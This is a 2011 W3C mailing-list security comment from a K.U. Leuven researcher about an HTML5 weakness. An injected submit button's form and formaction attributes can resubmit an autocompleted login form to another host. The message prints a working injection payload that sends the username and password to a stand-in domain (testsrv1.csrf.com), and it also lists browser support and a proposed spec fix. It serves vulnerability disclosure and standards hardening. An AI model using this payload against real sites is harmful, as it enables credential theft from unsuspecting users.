- From: Philippe De Ryck <philippe.deryck@cs.kuleuven.be>
- Date: Tue, 02 Aug 2011 08:29:00 +0200
- To: public-html-comments@w3.org
- Cc: Giles Hogben <Giles.Hogben@enisa.europa.eu>, Lieven Desmet <Lieven.Desmet@cs.kuleuven.be>, Thomas Roessler <tlr@w3.org>
The following comment contains detailed information about an issue that was discovered during a recent security analysis of 13 next generation web standards, organized by ENISA (European Network and Information Security Agency), and performed by the DistriNet Research Group (K.U. Leuven, Belgium). The complete report is available at http://www.enisa.europa.eu/html5 (*), and contains information about the process, the discovered vulnerabilities and recommendations towards improving overall security in the studied specifications. Summary --------- The insertion of a button that overwrites certain form attributes increases the potential impact of HTML injection. Based on: HTML5, 11 July 2011 Relevant Sections: 10.7. The input element Issue ------- The new form attributes, which can be used with submit buttons, can make it difficult for a user to distinguish the form that is being submitted. This can be used by an adversary to trick the user into submitting a form, such as an autocompleted login form. Even though this attack was already possible with JavaScript enabled, this new vector does not depend on scripts. Additionally, it is possible that current content validation filters do not yet prevent against button injection. Code example -------------- The actual form, which is probably auto-completed by the browser: <form id="login" action="http://testsrv1.example.com/enisa_ha/login.php" method="POST"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" value="Login" /> </form> The injected code: <input type="submit" value="Launch the game" form="login" formaction="http://testsrv1.csrf.com/enisa_ha/login.php" /> Current state of implementation --------------------------------- The current browser implementations show the following behavior: * Firefox 5: Scenario is supported * Chrome 12: Scenario is supported * IE 8: No support for modifying form attributes * Safari 5 (windows): No support for modifying form attributes * Opera 11.50: No automatic autocomplete support, form attributes are modifiable though Recommended Solution ---------------------- Extend the form element with an additional attribute, which explicitly enables non-hierarchical input elements to change form attributes. Without this attribute, input elements cannot change form attributes, which offers backwards security for current sites. Alternatively, if changing the specification is not possible, developers should be warned about this attack vector, so they can update their content filters. (*) HTML version of the report is available as well: https://distrinet.cs.kuleuven.be/projects/HTML5-security/ -- Philippe De Ryck K.U.Leuven, Dept. of Computer Science Disclaimer: http://www.kuleuven.be/cwis/email_disclaimer.htm
Received on Tuesday, 2 August 2011 09:06:59 UTC